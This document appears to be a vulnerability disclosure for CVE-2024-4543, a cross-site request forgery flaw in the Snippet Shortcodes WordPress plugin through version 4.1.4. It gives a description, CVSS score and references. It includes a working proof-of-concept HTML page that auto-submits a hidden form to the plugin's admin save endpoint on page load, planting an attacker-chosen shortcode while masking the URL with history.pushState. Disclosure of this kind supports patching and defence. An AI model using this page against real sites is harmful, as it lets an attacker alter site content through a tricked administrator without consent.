Description
The Snippet Shortcodes plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.1.4. This is due to missing or incorrect nonce validation when adding or editing shortcodes. This makes it possible for unauthenticated attackers to modify shortcodes via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
Severity
4.3 (Medium) - CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Affected Version
<= 4.1.4
PoC :
<html>
<!-- Made by eneriiiii<3 / x.com/aillesim_ -->
<body>
<form action="http://[ASSETS]/wp-admin/admin.php?page=sh-cd-shortcode-variables-your-shortcodes&action=save" method="POST">
<input type="hidden" name="id" value="" />
<input type="hidden" name="slug" value="Misellll<3" />
<input type="hidden" name="previous_slug" value="" />
<input type="hidden" name="data" value="<img class="alignnone size-medium" src="https://cdn.antaranews.com/cache/1200x800/2022/08/10/Misellia-Publicity.jpg" width="1200" height="800" />" />
<input type="hidden" name="disabled" value="0" />
<input type="hidden" name="submit_button" value="Save Shortcode" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Reference
- https://plugins.trac.wordpress.org/changeset/3110951?contextall=1
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/shortcode-variables/snippet-shortcodes-414-cross-site-request-forgery
- https://www.cve.org/CVERecord?id=CVE-2024-4543